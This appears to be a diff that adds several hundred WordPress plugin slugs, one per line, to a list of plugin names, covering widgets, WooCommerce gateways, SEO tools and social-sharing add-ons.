+better-front-page-ui
+plugin-jetradar-cheap-flights
+localizer
+wpmu-metatags
+billybenswf
+mediapass
+pro3x-easy-slides
+youtube-video-fetcher
+text-filter-suite
+spolecznosciowa-6-pl-2013
+namaz-vakti
+genesis-widget-overlay
+ax-sidebar
+wp-downloadcounter-chart
+remove-protected
+news2paper
+league-table-standings
+jet-quickpress
+coinbase
+cm-table-of-content
+email-as-username-for-wp-members
+mg-wp2tsina
+wp-image-lazy-load
+tectite-forms
+redirect-post-to-url
+newstweet
+easy-analytics
+nggimagerotation
+betteramazonapi-amazon-plugin
+wpmu-global-search
+wp-marketing
+easy-eu-cookie-law
+wp-teacher
+cas-maestro
+wp-filters
+random-backgrounds
+wp-e-commerce-paypal
+jlayer-parallax-slider-wp
+i-agree-popups
+autodownload
+restrict-content-pro-csv-user-import
+law-of-attraction-chat
+hs-brand-logo-slider
+widget-download
+soundcloud-latest-tracks
+menu-humility
+cm-header-footer-script-loader
+ninja-signature-contract-forms-add-on
+urdu-keyboard
+wp-screenshot
+hello-world
+wp-gotowebinar
+top-commenters-gravatar
+micro-anywhere
+christmassprite-christmas-countdown
+linktothispage
+export-order-items-for-woocommerce
+addi-simple-slider
+time-based-greeting
+post-access-controller
+column-shortcodes-for-genesis
+a-featured-page-widget
+sociallist-social-bookmarking-widget
+linkedin-lite
+dashboard-links
+custom-post-type-gui
+buddypress-mandatory-groups
+unloq
+springboard-video-quick-publish
+mumble-channel-viewer
+floating-social-share-bar-lizard
+no-categories
+google-news-automatic-widget
+analytify-analytics-dashboard-widget
+add-external-media
+safe-private
+volusion
+paypal-api-subscriptions
+mass-set-post-categories
+ipgp-user-country-flag
+featured-posts-with-multiple-custom-groups-fpmcg
+wp-image-tooltip
+battlefield-2-stats
+run-external-crons
+kickass-slider
+wp-undelete-restore-deleted-posts
+wp-magnific-popup
+woocommerce-shipping-options
+qstomizer-custom-product-designer
+shop-menu
+lorem-ipsum-generator-shortcode
+woo-cart-count-shortcode
+wp-image-uploader
+woocommerce-safircod
+software-issue-manager
+category-checklist-expander
+visitorscafe-video-chat
+silencesoft-disable-menu-items
+cheetaho-image-optimizer
+opal-hotel-room-booking
+auto-post-to-instagram
+wp-list-plugins
+wordpress-goodreads-bookshelf
+pre-loaded
+pmailer-subscription
+classipress-google-checkout-gateway
+scripts-and-styles
+protected-post-personalizer
+shootq-integration
+google-interactive-maps-lite
+100-cities
+wysiwyg-button-manager
+wp-linkedin-auto-publish
+magazi-admin-theme
+wp-infobox
+woo-price-calculator
+reorder-entry-images
+network-blog-manager
+dynapoll
+gold-price-chart-widget
+fma-product-inquiry-form
+alewb-image-widget
+wp-blockyou
+hallo-destra
+wp-slimbox-reloaded
+wp-admin-classic
+wg-twitter-widget
+popularity-lists-widget
+admin-builder
+categories-but-exclude-widget
+facebook-friend-inviter
+video-flv-converter
+navgoco-menu
+wp-domain-redirect
+remove-double-space
+wp-ganalytics
+template-list-metabox-by-010pixel
+replace-content-image-size
+comment-highlighter
+cricket-score
+wemahu
+plugin-memorandum
+limit-posts
+wp-livephp
+wp-designer
+theme-blvd-favicon
+buddypress-backwards-compatibility
+threewp-login-tracker
+picasa-upload
+embed-php-in-posts
+wordpress-plugin-framework
+fv-descriptions
+live-drafts
+sb-banner-widget
+better-follow-button-for-jetpack
+sidebar-post
+save-editor-scroll-position
+metricool
+wp-zff-zend-framework-full
+wplm-worrpress-link-management
+facebook-star-rating-light
+child-themes
+multi-post
+featured-image-generator
+bottom-admin-bar
+pauls-latest-posts
+magazine
+events-calendar-by-plugistan
+doppelme-avatars
+cuf-cleanup-upload-folder
+super-simple-pinterest-plugin
+podlove-subscribe-button
+keyboard-navigation
+wpdojoloader
+contact-form-7-email-verification
+auto-login-after-registration
+wh-testimonials
+cd-buddybar-logo-changer
+social-butterfly
+google-badge-widget
+woocommerce-e-conomic-integration
+floating-publish-button
+rel-publisher
+my-video-uploads
+kul-maintenance
+simple-static-google-maps
+simple-picasa-album-embedder
+readykommerce-multi-newsletter-signup-light
+wp-github
+connections-toolbar
+pushup
+pjw-query-child-of
+kau-boys-comment-notification
+multi-slider
+simple-video-gallery
+pressbooks-textbook
+wpsmart-sms
+csv-viewer
+empty-plugin-template
+dynamic-photo-album
+wp-vanilla-connect
+social-glutton
+persian-bbpress-tools
+customizable-captcha-and-contact-us-form
+web-shrinker-web-site-preview-link-thumbnails
+wp-automatic-spam-blacklister
+embed-posts
+waitlist-woocommerce
+sprites-in-css-for-google-pagespeed
+ad-manager-wd
+backdrop
+auto-files
+custom-word-cloud
+smart-wp-login
+simple-categories-widget
+booking-calendar-with-availability-management
+simple-flickr-widget
+documents-shortcode
+mybloglog-justforyou
+easy-google-optimizer
+easy-admin-notification
+auto-url
+wordpress-wiki-that-doesnt-suck
+xisearch-bar
+wp-dokuwiki
+w2o-admin-drop-down-menu
+hide-toolbar-plugin
+collapsable-menu-plugin
+woocommerce-payzippy-payment-gateway
+qr-code-generator-by-unitag
+my-library
+jquery-tagline-rotator
+posts-to-do-list
+easy-meta
+android-appmaker
+wp-search-live
+qtranslate-separate-comments
+easy-clock-widget
+beforeafter-pictures
+youzign
+wp-responsive-tabs
+wp-admin-custom-page
+show-authors-without-posts
+welamazonadds
+google-subscribed-links
+content-expire-scheduler
+invisible-optin
+flashnews-fading-effect-pearlbells
+wp-facebook-importer
+pesapal-for-woocommerce
+wp-candidate-application-form
+rss-news-scroller
+collapsing-objects
+cloudy-tags
+astickypostorderer-show-sticky
+show-all-comments-in-one-page
+wp-associatizer
+memberpress-addon-for-wp-courseware
+lastfm-for-artists
+custom-affiliate-links-cloaker
+woocommerce-add-countries
+ustream-status
+buddypress-group-activity-stream-subscription
+wordpress-places-locator
+auto-nofollow-links
+wp-svejo-net
+s2member-buttons
+picturegrid
+woocommerce-full-width-add-to-cart-forms
+shantz-wp-prefix-suffix
+nextgen-ajax
+australian-weather-widget-willyweather
+tcrf
+smarty-for-wordpress
+sell-photo
+list-articles
+admin-sms-alert
+improved-page-permalinks
+web-en-construccion-indianwebs
+styles-twentyten
+keyword-meta
+darkonyx-plugin-for-wordpress
+real-kit
+google-1-widget
+legal-news-headlines
+google-map-direction
+twiiter-wp-widget
+custom-pagination
+siliconfolio
+shortcode-collection
+really-simple-issue-tracker
+woo-extra-cost
+user-ip
+wp-related-video-search
+multi-purpose-mail-form
+bp-nextgen-gallery-integrate
+cryptocurrency-ticker
+mxit-evo-widget
+badge-management-for-woocommerce
+zd-header-tags
+bootstrap-multi-language-responsive-gallery
+skydrive-directlink
+google-analytics-track-outbound-links
+wpec-bulk-tools
+admin-slug-column
+flashtml5-video
+kameleoon
+wxlog
+woocommerce-maintenance-mode
+widget-alias
+separator-widget
+gallery-image-gallery-photo
+wp-media-sitemap
+w3devil-inphp
+mini-statistics
+html-new-user-notification-email
+wp-alphabetical-post-listing
+thethe-posts-and-comments
+generic-affiliate-system-for-marketpress-or-woo-commerce
+wp-e-commerce-featured-products
+slide2comment
+menu-rules
+globe-gateway-e4
+latest-twitter-updates-with-date-and-time
+paranoid911
+gallery-images-gallery-video
+buddypress-featured-members
+googleanalyticscounter
+daves-whizmatronic-widgulating-calibrational-scribometer
+cardconnect-payment-module
+weekly-planner
+events-handler
+another-events-calendar
+web-scraper-shortcode
+tags-autolink
+subscriptions-memberships-for-paypal
+add-twitter-search-widget
+lightwindow-20-for-images
+crazy-pills
+woocommerce-custom-tab-lite
+thirstyaffiliates-for-foogallery-extension
+legacy-google-calendar-events
+lottery
+wpcourses
+tinymce-smiley-button
+emailthis
+upyun
+hide-it
+ecall
+chords-and-lyrics
+wpsp-terms-of-use
+woo-preview-emails
+wcs-qr-code-generator
+softshare-floating-button
+jquery-syntax
+flattr-widget
+fb-social-reader
+coverflow-youtube-videos
+clip-art-illustration-search-and-insert
+bws-pinterest
+shop-feed-for-instagram-by-snapppt
+free-online-plagiarism-checker
+bazz-callback-widget
+wp-custom-voting
+wp-avoid-slow
+world-of-warcraft-recent-achievements
+browsi
+html5-swiffy-insert
+comment-form-toolbar
+wp-subscribe-author
+wpglobus-featured-images
+vkcomments
+tls-1-2-compatibility-test
+gallery-without-the-fluff
+dns-anti-spam
+bp-admin-actions
+yatcp
+sharemacro
+sports-news-rss-plugin
+simple-options
+mu-open-id
+custom-header-footer-by-bytemantra
+post-connector
+embed-width
+woocommerce-email-money-transfer-gateway
+media-categories
+easy-tweet-embed
+hey-social
+wp-creative-portfolio
+technorati-tagging
+genesis-widget-background
+wp-postratings-my
+thememan-by-pluginbuddy
+readability-buttons
+playlist-217
+vsf-simple-block
+admin-user-messages
+visits
+wp-social-media-slider-lite
+hot-linked-image-cacher-with-keywords
+you-tube-colourbox-plugin
+wordpress-https-test
+public-post-preview-configurator
+dashboard-google-pagerank
+blogroll-to-page
+mymail-contact-form-7
+jmi
+comment-counter
+wp-commentwidgetizer
+content-security-policy
+wp-e-commerce-call-for-price
+pingback-killer
+copy-or-move-comments
+xo
+wp-dbmyadmin
+the-hackers-diet
+mediaelementjs-skin
+wp-theme-showcase-ext-and-i18n
+scheduled-post-trigger
+reiki-companion
+postname-permalink-auto-redirect
+in-image-ads-manager
+custom-password-protected-text
+liveadmin
+post-series
+data-storage
+optional-content
+bbpress-digest
+members-restricted-access
+konnichiwa
+workbox-google-analytics
+wp-infinite-scrolling
+wordpress-single-file-php-gallery
+bible-reading-plan
+qoob
+geolocation-plus
+dawanda-shop-plugin
+guerrillas-recent-tweets-plugin
+woocommerce-rrp
+who-stole-the-text-justify-button
+spiceforms-form-builder
+simple-wymeditor
+amazon-s3-url-generator
+smart-logo-showcase-lite
+feedback-side-tab
+connections-business-directory-login
+bootstrap-glyphicons-in-visual-editor
+target-visitors
+pakkelabels-for-woocommerce
+gravity-forms-pdf
+client-testimonials-quotes
+tipu-scroll-to-top
+odynogooglegroups
+jangan-di-suntik
+custom-tinymce
+wechat-reward
+ipgp-visitors-origin
+avishi-wp-paypal-payment-button
+manage-xml-rpc
+better-image-credits
+k2-style-switcher
+cleaner-wordpress-editor
+wp-gmaps2
+the-app-maker
+myrealpage-idx-listings
+display-phpbb-forums
+adscaptcha
+th23-media-library-extension
+remove-comment-websiteurl-box
+marketpress-product-gallery
+google-real-estate-maps
+bulk-sms
+social-network-user-detection
+simple-subscriber-signup-widget
+category-and-post-accordion-panel
+rocket-galleries
+responsive-notification-bar
+brightcove-video-connect
+afc-google-map
+advanced-custom-fields-number-slider
+disable-registration-email
+curated-rss-aggregator
+woocommerce-digital-content-delivery-with-drm-flickrocket
+twitter-qr-code-signatures
+social-sharing-stats
+ijm-theme-bar
+facebook-the-like-box-in-the-post-plugin
+vimeo-video-autoplay-automute
+css-and-script-files-aggregation
+anti-feed-scraper-message
+wp-facebook-recommendations-bar
+wp-broken-images
+publish2
+publicize-with-hashtags
+datafeedfile-featured-product
+book-showcase
+notify-on-draft-post
+buddypress-component-stats
+woocommerce-smart-send-australian-shipping
+simple-nav-archives
+inactivity-auto-sign-out-plugin
+mpress-custom-feed-excerpts
+color-posts
+brands-20
+sanooksookjai-menu-icon
+christmas-decorations
+login-with-username-or-email
+babelz
+pro-recent-post-widget
+bubs-button-board
+wordpress-logging-service
+download-button
+shortcode-shorturl
+post-type-spotlight
+wpi-custom-logout
+pd-image-animation
+bne-gallery-extended
+twiogle-wp-twitter-comments
+hlogoz-wp
+limit-groups-per-user
+gaboinked-chipin-sidebar-widget
+bootstrap-collapse-menu-widget
+wpc-pinterest-widget
+wp-gravatar-mini-cache
+winex
+sp-woocommerce-best-selling-products-by-category
+woocommerce-filter-orders-by-product
+mobile-app-showcase
+blogml-importer
+tweet-you
+likes-counter
+hover-effects-pack-visual-composer-extension
+related-post-picker
+hello-simpsons-chalkboard-gag
+yd-wordpresscom-stats-integration
+rackspace-cloud-files-cdn
+css-theme-override
+clix-post-category-excluder-for-wordpress
+gallery2-image-block-widget
+ad-blocking-advisor
+navception
+front-end-theme-preview
+oms-sidebar-widgets
+mosaic-generator
+mobilerevenu
+embed-iphoneipad-app
+wordgallery-glossary
+keyword-position-checker
+improved-rss-importer
+youtube-playlist
+picasso
+falcon
+affiliatewp-order-details-for-affiliates
+yd-search-functions
+posttube
+pazzeys-store-locator
+category-displayer
+buddyforms-attach-posts-to-groups-extension
+section-page
+first-visitor-message
+add-link-to-copied-text
+techslices-traffic-widget
+google-page-badge
+qdiscuss
+google-serp-checking-plugin
+national-weather-service-alerts
+gerryworks-post-by-mail
+disclose-secret
+custom-shortcode-sidebars
+wordpress-requirements-check
+woocommerce-better-thumbnail-navigation
+guitar-chord-widget-for-wordpress
+soliloquy-scheduled-slides
+sip-reviews-shortcode-woocommerce
+fetch-feed
+wp-support-ticket
+thethe-floating-bookmarks
+q2w3-yandex-speller
+colorful-tag-widget
+subpage-slider
+bp-ninja
+site-last-modified
+ie-warning
+fetch-feed-shortcode-pageable
+crop-and-resize-images
+yith-woocommerce-save-for-later
+dsgnwrks-twitter-importer
+show-private
+elevate-parent-category-template
+wp-amazon-reborn
+plurk-for-wordpress
+contact-commenter
+wp-global-screen-options
+wholesale-market
+google-friend-connect
+link-sort
+ctw-ssl-for-cloudflare
+best-favicon
+add-any-extension-to-pages
+subscribe-to-comments-reloaded-better-unsubscribe
+jquery-tinytips
+simplepay-woocommerce-payment-gateway
+pretty-simple-progress-meter
+content-mirror
+scrybs-translation
+3d-model-viewer
+submit-to-any-for-wordpress
+woocommerce-auto-category-thumbnails
+resume-extended
+post-types-calendar
+content-finder
+silicon-counters
+post-forking
+list-site-contributors
+wp-survey-plus
+weather-forecast-shortcode
+panel-my-blog
+congresslookup
+simple-instagram-widget
+push-syndication
+lastfm-sidebar
+jarvis
+aweber-comment-optin
+xhtml-easy-validator
+wp-dropcaps
+temporary-login-without-password
+copy-compass
+5mincom-video-suggestions
+wc-webmoney
+rus-to-eng
+comment-analysis
+sis-accordion
+lazyest-watermark
+baw-moderator-role
+echo-knowledge-base
+add-watermark
+forex-quotes
+secret-content
+contact-form-7-shortcode-enabler
+wundergroundcom-weather-sticker
+weather-man
+tor-exit-nodes-blocker
+google-ajax-feed-widget
+cw-easy-video-player
+auto-subpage-menu
+wp-posts-fb-notes
+limit-login-countries
+wp-katex
+cart2cart-opencart-to-woocommerce-migration
+lightbox-login
+simple-coverflow
+wp-time-counter
+peoplepond
+mb-imagechimp-rss-feed-enhancer
+delete-custom
+usertracker
+social-top-sharing
+remove-uppercase-accents
+wp-social-share-privacy-plugin
+wordpress-send-sms
+owa-most-popular
+multi-twitter-stream-by-wsyms
+cursor-control
+animate-your-content
+translatorbox
+kapost-byline
+securemoz-security-audit
+fontdeck
+wss-company-whatsapp-sharing-button
+wp-taxonomy-import
+wp-logged-in-only
+wp-grins-lite
+wp-admin-customizer
+paulund-pinterest-add-pin-buttons
+localtime
+gallery-columns
+skinnytip-tooltip-generator
+simple-sign-in
+bbpress-do-short-codes
+mblogi-cricket
+responsive-youtube-vimeo-popup
+mortgage-calculator
+cm-newsletter
+bybrick-columns
+bangla-press
+vbulletin-latest-threads
+lastfm-events
+featured-image-resize
+simple-custom-website-data
+multipurpose-css3-animated-buttons
+livesearch
+aprils-call-posts
+magic-links
+jigoshop-basic-bundle-shipping
+cart-ninja-wordpress-shopping-cart
+woocommerce-template-hints
+truenorth-srcset
+php-to-page
+flat-floating-social-bar
+business-block-widget
+gmace
+wp-style-switcher
+genesis-custom-post-types-archives
+erocks-dashboard-lockdown
+add-google-plusone
+wp-easy-booking
+simpul-events-by-esotech
+gd-mylist
+force-post-category-selection
+blue-admin-bar
+amazon-product-ads
+slidorion
+paypal-target-meter
+mmunicode-embed
+manual-related-links
+apptivo-ecommerce
+twitter-flock
+nix-anti-spam-light
+my-tag-cloud
+wp-term-colors
+wp-smilies
+woocommerce-price-matrix
+skillbars
+lakshmi-features
+timeline-and-history-slider
+language-based-anti-spam-plugin
+hot-random-image
+css-naked-day-noscript
+bbp-last-post
+like-this-post
+hamburger-icon-menu-lite
+review-schema-markup
+better-recent-comments
+wordpress-mobile-pack-hunt
+scb-framework
+photoblog
+follow-category-feeds
+demomentsomtres-language
+wp-front-end-profile
+mlr-audio
+floating-div
+comments-loop
+multimedia-customer-feedback
+alpine-photo-tile-for-smugmug
+affiliatewp-store-credit
+vin-decoder
+gf-charts-reports
+cc-mortgage-calculator
+pppp
+netflix-x2
+genesis-co-authors-plus
+facebook-thumbnails
+shorter-links
+minmax-quantity-for-woocommerce
+donate-via-paypal
+wp-resume-builder
+skedmaker-online-scheduling
+pricing-table-dynamite
+buddypress-private-messages-for-followers-only
+affiliate-press
+oembed-for-comments
+development-theme
+yummi-multicategory-breadcrumbs
+razuna-media-manager
+infusionsoft-affiliates
+ilmenite-olark
+yith-woocommerce-review-for-discounts
+igit-follow-me-after-post-button-new
+wpme-google-maps
+wp-recent-comments-with-avatars
+wonderplugin-conditional-display
+harrys-gravatar-cache
+cloudflare-threat-management
+tiny-table-of-contents-tinytoc
+apollo-bar
+wp-editor-tweaks
+simple-liqpay
+paltip-plug-in
+improved-meta-description-snippets
+recent-custom-posts
+rating-add
+imgshow
+custom-status
+remove-links-in-comments
+pinterest-block
+nautic-pages
+docebo-lms-elearning-platform-integration
+automatic-thumbnail
+acf-front-end-editor
+trackserver
+tinymce-visualblocks
+facebook-comment-for-wordpress
+wp-maintenance-developer
+wp-notification-bar
+recurring-timer-widget
+guitar-tuner
+world-weather-wwo
+wp-hyves
+skysa-pinterest-pin-it-app
+laterpay
+add-youtube-video-to-media-library
+russian-date-by-axelnsk
+different-menu-in-different-pages
+comments-link-optimization
+x-treme-3d-stack
+maintenance-mode-z
+plugin-commander
+warcraft-bundle
+support-online
+wp-social-media-login
+slidr
+ical-feeds
+wpmanager
+wp-simplemeetingconfirmation
+fp-responsive-slider
+cdn-rewrites
+arrowchat-wordpress-integration
+wp-restrict-user-add-new-page-capability
+update-unique-keys
+st-category-email-subscribe
+shopp-seo-glue
+on-the-fly-youtube-embeds
+drgen-social
+simple-thumbs
+pryc-woocommerce-product-search-in-any-search
+naver-analytics
+ect-homepage-products
+chatrify-live-chat
+super-link-preview
+live-cricket-scores-widget
+wp-flexslider
+tts-engine-post-to-speech
+recurring-donation
+posts-to-adn
+https-mixed-content-detector
+wp-simple-and-nice-preloader
+running-line
+ltw-content-shortcodes
+simple-google-tag-manager
+bc-responsive-images
+wpfacebookchat-free
+minecraft-item-library
+google-plus-one-button-plugin
+robokassa-shortcode
+grayscale
+academicpress
+music-bar
+insert-code
+gentlesource-short-url
+view-template-widget-for-toolset-types-views
+tg-facebook-meta-tags
+chameleon
+wp-multisite-sso
+article-photo
+hreview-support-for-editor
+arlo-training-and-event-management-system
+amp-woocommerce
+smartslider
+internal-link-checker
+multiple-gallery-on-post
+gravity-forms-multi-currency
+styles-twentyfifteen
+zoho-forms
+paypal-gift-certificate
+ozh-random-words
+facebook-open-graph-update
+date-tool
+rk-responsive-contact-form
+delete-post-revisions-on-single-click
+coaching-staffs
+wp-content-blocks
+tag-grouping
+shopp-facebook-like-button-sflb
+email-cart-for-woocommerce
+wp-cloaker
+twitter-user-timelines
+wp-email-newsletter
+international-namedays
+buddypress-profile-rating
+simple-site-speed
+secsign
+assign-missing-categories
+wp-jplayer
+woocommerce-bulk-percentage-pricing
+download-counter-button
+performerjs
+metaverse-id
+mailchimp-campaign-archive
+k2-hook-up
+haikuo-goods-list-info
+configurable-hotlink-protection
+add-my-networks
+more-mime-type-filters
+flodjishare
+g-projects
+wpml-short-code-translator
+memory-check
+adblade-publisher-tools
+picasaimport
+qinvoice-connect-for-woocommerce
+rhino-support
+easy-simple-instagram
+blog-control
+this-or-that
+wp-panorama
+share-line-button
+recent-featured-posts-widget
+jtc-slides
+commission-junction-api-for-wordpress
+popular-this-week
+jp-social-bookmarks
+wp-avim-reloaded
+seo-live-keyword-monitor
+cubetech-accordion
+visitors-detective
+smart-marketing-for-wp
+sidecar-decision-tree
+retweeters
+prism
+jadedcoder-sticky-permalinks
+safe-mode
+easy-listings-map
+copy-menu
+baw-better-admin-color-themes
+mowster-tags
+alphas-categories-widget
+easy-featured-content
+post-slideshow-gallery
+m1downloadlist
+game-server-tracker
+twounter
+rank-checker-by-surfing-panda
+im8-qtranslate-woocommerce
+anobii-wordpress-widget
+simple-page-to-sidebar
+breadcrumbs-builder
+reorder-gallery
+one-backend-language
+nif-num-de-contribuinte-portugues-for-woocommerce
+custom-related-posts
+afterread
+scroll-up
+google-badge-connect-direct-for-wordpress
+wordcycle
+newscodes-news-magazine-and-blog-elements
+fanbridge-signup
+deezer-widget
+server-monitor
+my-company-menu
+foxload-firefox-download
+tp-navigation-menu
+smart-recent-posts-widget
+feedback-tab-review-us-button-by-reprevive
+sticky-posts-widget
+shortcode-variables
+wdo-members-list-basic
+empty-paragraph-for-tinymce-editor
+search-types-custom-fields-widget
+multiple-choice-questions
+acumbamail-signup-forms
+ps-wp-multi-domain
+snap-my-roll
+wpg3
+multisite-switcher
+css-background
+moderate-new-blogs
+lct-useful-shortcodes-functions
+emc2-alert-boxes
+edd-purchase-gravatars
+dynamic-visitor-weather
+widget-posts-by-category
+quick-and-easy-testimonials
+easy-social-share
+wp-chili
+jay-access-flickr
+facebook-comments-notify
+bbconverter
+wp-time-slots-availability-calendar
+pager-widget
+fv-feedburner-replacement
+visual-developer-custom-css
+single-author-g-meta
+auto-join-groups
+protectcopyblogs
+datafeedr-comparison-sets
+shouty
+wpw-linkslist
+bucket-list
+author
+archive-page
+wp-navigation-menu-links
+twittley-button
+tinymce-tabfocus-patch
+demomentsomtres-facebook-events-list
+rt-newrelic-browser
+gravity-forms-mad-mimi
+flexible-invoices
+wp-theme-plugin-editor-disable
+daring-fireball-linked-list
+powr-tumblr-feed
+duplicate-tec-event
+copyscape-premium
+woo-shop-hover-effects
+smart-popup-blaster
+rezgo
+optify-for-wordpress
+article-accordion
+xpost
+xpand-image-gallery
+wen-featured-image
+social-media-with-defered-javascript
+openmeetings-integration-plugin-widget
+geokbd
+custom-top-bar
+bing-404
+simple-file-list
+featured-post-manager
+a-to-z-category-navigation-widget
+wp-simplyhired-api
+ifttt-post-formats
+eps-super-search
+affiliatewp-affiliate-product-rates
+rtpanel-hooks-editor
+recent-revisions
+hamyar-ticketing-system
+disqus-recent-comments-widget-advanced
+pricing-tables-for-visual-composer
+jayj-quicktag
+smart-social-media-widget
+mobile-friendly-flickr-slideshow
+google-reader-blogroll-widget
+google-forms-shortcode
+anti-hacking-tools
+pz-hatenablogcard
+adgallery-slider
+iphone-webclip-manager
+wp-delete-posts
+tracked-tweets
+stumbleupon-digg-thumbnail-maker
+ngs-sam-integrator
+mdc-theme-switcher
+wp-accordion-with-categories
+vkontakte-vkcom-community-widget-cache
+spam-free-contact-form
+parse-shortcodes
+active-directory-employee-list
+wp-simple-ajax-contact-form
+full-page-load
+wice-contact-for-wordpress
+url-rotator-manager
+star-review-manager
+scenechat-video-sharing-and-commenting-tool
+anywp-mailchimp
+woozoom-zooms-on-details-focuses-on-sales
+patron-button-and-widgets-by-codebard
+page-rank-stats-for-alexa-google
+wp-jobs
+inlocation
+cb-custom-modules
+wp-socialshareprivacy
+wp-planification
+skysa-announcements-app
+share-it
+plugin-load-filter
+post-type-requirements-checklist
+open-search-document
+navegg
+campayn-email-newsletter-sign-up
+seo-for-images
+jet-member-could
+careerbuilder-jobs
+aioseo-multibyte-descriptions
+surly
+seo-breadcrumb
+rps-blog-info
+google-adsense-report-pro
+gecko-tube
+diarypress
+andora-lightbox
+very-simple-google-analytics
+latest-post-accordian-slider
+store-toolkit-for-wp-e-commerce
+published-articles-since-last-visit
+post-admin-word-count
+customize-login-page
+companion-sitemap-generator
+agile-crm-lead-management
+mindvalley-include-content
+wp-e-commerce-local-pick-up-shipping-module
+powr-holiday-countdown
+related-videos-for-jw-player
+ecampaign
+widget-flickr-gallery
+eds-responsive-menu
+apiki-wp-faq
+ajax-product-filter-for-woocommerce
+sunburst-code-prettify
+exnet-movies
+wp-simple-slideshow
+woocommerce-remove-sku
+payments-gateway-amazon-woocommerce
+top-position-yahoo-finance
+binkd-contest
+phoenix-media-rename
+make-money-with-ad7biz-and-wp
+injection-guard
+feedaggregator
+templatesync
+cwidget-countdown
+wp-giveaways
+mesh
+fifa-world-cup-south-africa-scoreboard
+custom-post-type-selector
+bpwp-cleaner
+baw-like-unlike
+wp-custom-cms-block
+jalbum-for-wordpress
+groupdocs-signature
+customquery
+continue-shopping-for-woocommerce
+resres-restaurant-reservations
+email-manager
+easy-image-sizes
+jqdock-post-thumbs
+easychatme-live-chat
+random-quotes
+mwp-countdown
+multiple-packages-for-woocommerce
+jquery-countdown-clock-widget
+jquery-notebook
+custom-post-type-tree
+custom-login-css
+wordpress-plugin-for-1shoppingcart
+easy-testimonial-manager
+wp-disclaim-me
+keywords-stats-all-in-one-seo-pack-addon
+tip-jar-paypal-widget
+image-banner-ads
+wp-image-utils
+freetobook-booking-button
+copy-alerts
+domaintools-whois-plugin
+tinywebgallery-wrapper
+preloader-sws
+woocommerce-bkash
+tag-or-category-term-group-order
+pbox
+bring-back-the-get-shortlink-button
+blog-reordering
+azonpost
+amazon-affiliate-link-globalizer
+wpmu-default-user-role
+spamshiv-lite-e-mail-address-protection
+wp-exit-page-redirect
+wp-vibedeck
+tweet-images
+heateor-open-graph-meta-tags
+bbpress-simple-view-counts
+featured-youtubeimage-slider
+sell-media-file
+category-text-widget
+wp-church-donation
+easy-login-form
+puzzle-game-widgets
+logged-in-user-shortcode
+acf-vc-integrator
+wp-home-page-menu
+yourls-shorturl-widget
+synoptic-web-designer-best-design-tool
+remove-wp-version-and-shortlink
+open-web-analytics-plugin
+simple-long-form
+real-time-visitors
+header-login
+custom-css-wp
+post-custom-templates-lite
+disable-gravity-forms-fields
+kazooky-loyalty-rewards
+wp-simple-carousel
+wp-noframenoclickjacking
+what-time-is-it
+web-page-speed-checker
+dlmenu
+widget-profiles
+tinymce-options-override
+seo-url-pages
+eazy-xmlrpc-pingback-disable
+a-forms
+post-edit-toolbar
+comment-testimonials
+flashnews-typewriter-pearlbells
+youtube-feed
+wdm-news
+sourcedfrom
+editionguard-ebook-sales-with-drm
+latest-post
+wp-customer-feedback
+propoza
+woo-invoices
+pubble-social-qa
+people-page
+indextank
+animated-buttons-with-css3
+transaction-integration-for-affiliatewp-and-optimizepress
+post-lister
+kalendas
+google-adsense-summary
+download-plugins-dashboard
+adspeed-ad-server
+progressfly
+4xeagleeye-analyst
+wp-wikibox
+ie7-compatibility
+weasels-html-bios
+post-link-shortcode
+pdf-poster
+mp3-to-post
+wp-portfolio-gallery
+simple-fields-map-extension
+responsive-posts-widget
+contact-form-7-serial-numbers
+silk-ajax-comments
+nolip-nofollow-links-in-posts-reborn
+gist-github-shortcode
+backwp
+ads-ez
+wp-recipes
+bw-less-css
+advanced-custom-fields-address-field-add-on
+ie6-support-for-2010-theme
+custom-author-base
+wp-pace
+shortcode-toggle
+easy-sermon
+import-eventbrite-events
+floating-comments-form-fixed-scroll-position
+easy-custom-css
+wp-login-customizer
+world-of-warcraft-armory-table
+awebsome-browser-selector
+mailchimp-subscription-plus
+random-post-widget
+bp-system-report
+autoresponder
+auto-content-links
+wp-smart-security
+stripe-free-payment-gateway-for-woocommerce
+qurify-qr-code-widget
+collapse-sub-pages
+pe-easy-slider
+osm-maintenance-mode
+ccavenue-payment-gateway-advanced-for-woocommerce
+better-wp-varnish
+simply-social-links
+around-this-date-in-the-past-widget-edition
+wp-instagram
+wp-code-igniter
+wordpress-cdn-rewrite
+vine-master
+mypuzzle-jigsaw
+aweber-super-simple
+nic-coming-soon-page
+multisite-user-role-manager
+cpanel-e-mail-manager
+wordpress-head-cleaner
+most-popular-categories
+wp-webp
+wp-related-post
+fusionhq-for-wordpress
+empty-tags-remover
+anon-posting
+search-docs
+acf-date-time-picker
+hover-image-and-text
+affiliateimporteral
+easy-amazon-product-information
+single-random-post-with-text
+bmi-imc-calculator
+redpeppix
+esimple-wiki
+back-to-top-pro
+rss-link-tagger-for-google-analytics
+hts-display-active-members
+video-metabox
+post-to-smf-forum
+stop-registration-spam
+customizer-theme-switcher
+advanced-custom-fields-leaflet-field
+seo-xml-sitemap
+photostack-gallery
+ig-posts-carousel
+custom-post-type
+mailtostaff
+lj-multi-column-archive
+html-embedder
+easy-disable-visual-editor
+x-treme-media-wall
+no-duplicate-content
+mq-relinks
+livejournal-crossposter-remix
+image-browser
+top-spammers
+clickbank-sale-notification
+wen-call-to-action
+easy-redirect-manager
+article-type
+make-tabbloid
+jw-justhumans-contact-form
+bbpress-social-network
+wc-ssl-seal
+joomood-wp-se-last-polls
+ultimo-wp
+blogger-2-wp
+list-sub-categories-lsc
+unisender-integration
+idraw
+wp-3d-slice-box-slider
+social-traffic-monitor
+pencil-wiki
+lastfm-recent-album-artwork
+woocommerce-loyal-customer
+use-the-attachment-image
+zenphoto-shorttags
+multisite-user-sync
+acf-starrating
+running-time
+list-all-pages
+geosmart
+livefyre-apps
+wp-advance-jquery-cycle
+woo-recent-posts
+google-plus-one-widget
+flvplayer
+countdown-flipclock
+taxonomy-manager
+styled-pagination
+buddypress-quickpress
+bp-simple-private
+blogroll-dropdown
+nganluongvn-payment-gateway-for-woocommerce
+filter-pages-by-parent-in-admin
+fast-cat
+add-or-remove-www
+seo-link-creator
+recipecan-recipes
+category-radio-buttons
+sunpress
+gallery-just-better
+wp-html-cache
+square-sync
+smtp-mailing-queue
+security-and-vulnerability-shield
+live-flickr-comment-importer
+livejournal-crossposter-remix-rus
+cjte-advanced-theme-editor
+which-template-file
+userheat
+product-reviews-import-export-for-woocommerce
+gravity-forms-dps-pxpay
+feedblitz-email-subscription
+json-api-cincopa
+wp-hatmore-localpic
